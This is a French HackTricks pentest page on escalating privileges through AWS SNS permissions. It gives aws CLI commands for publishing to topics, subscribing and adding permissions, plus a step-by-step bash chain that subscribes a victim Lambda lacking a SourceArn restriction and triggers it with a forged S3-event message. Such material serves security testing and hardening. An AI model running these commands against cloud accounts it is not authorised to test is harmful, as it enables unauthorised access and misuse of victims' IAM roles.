AWS - SNS Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

SNS

Pour plus d'informations, consultez :

AWS - SNS Enum

sns:Publish

Un attaquant pourrait envoyer des messages malveillants ou indésirables au SNS topic, pouvant potentiellement provoquer une corruption de données, déclencher des actions non désirées ou épuiser les ressources.

bash
aws sns publish --topic-arn <value> --message <value>

Impact potentiel : Exploitation de vulnérabilités, corruption de données, actions involontaires ou épuisement des ressources.

sns:Subscribe

Un attaquant pourrait s'abonner à un SNS topic, obtenant potentiellement un accès non autorisé aux messages ou perturbant le fonctionnement normal des applications qui s'appuient sur ce topic.

bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Potential Impact: Accès non autorisé aux messages (informations sensibles), perturbation du service pour les applications s'appuyant sur le topic affecté.

sns:AddPermission

Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un topic SNS, obtenant potentiellement des autorisations supplémentaires.

bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Impact potentiel : accès non autorisé au topic, exposition des messages, ou manipulation du topic par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications dépendant du topic.

Invoquer une Lambda en abusant d'une permission SNS générique (no SourceArn)

Si la politique basée sur les ressources d'une fonction Lambda autorise sns.amazonaws.com à l'invoquer sans restreindre le topic source (SourceArn), n'importe quel topic SNS (même dans un autre compte) peut s'abonner et déclencher la fonction. Un attaquant disposant de permissions SNS basiques peut forcer la fonction Lambda à s'exécuter sous le rôle IAM de la fonction avec des entrées contrôlées par l'attaquant.

tip

TODO : Est-ce vraiment possible entre comptes ?

Préconditions

  • La politique de la Lambda victime contient une déclaration comme ci-dessous, SANS condition SourceArn :
json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

Étapes d'abus (même compte ou entre comptes)

bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Impact potentiel: La Lambda victime s'exécute avec son rôle IAM, traitant des entrées contrôlées par l'attaquant. Cela peut être abusé pour amener la fonction à effectuer des actions sensibles (par ex., écrire dans S3, accéder à des secrets, modifier des ressources) selon ses permissions.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks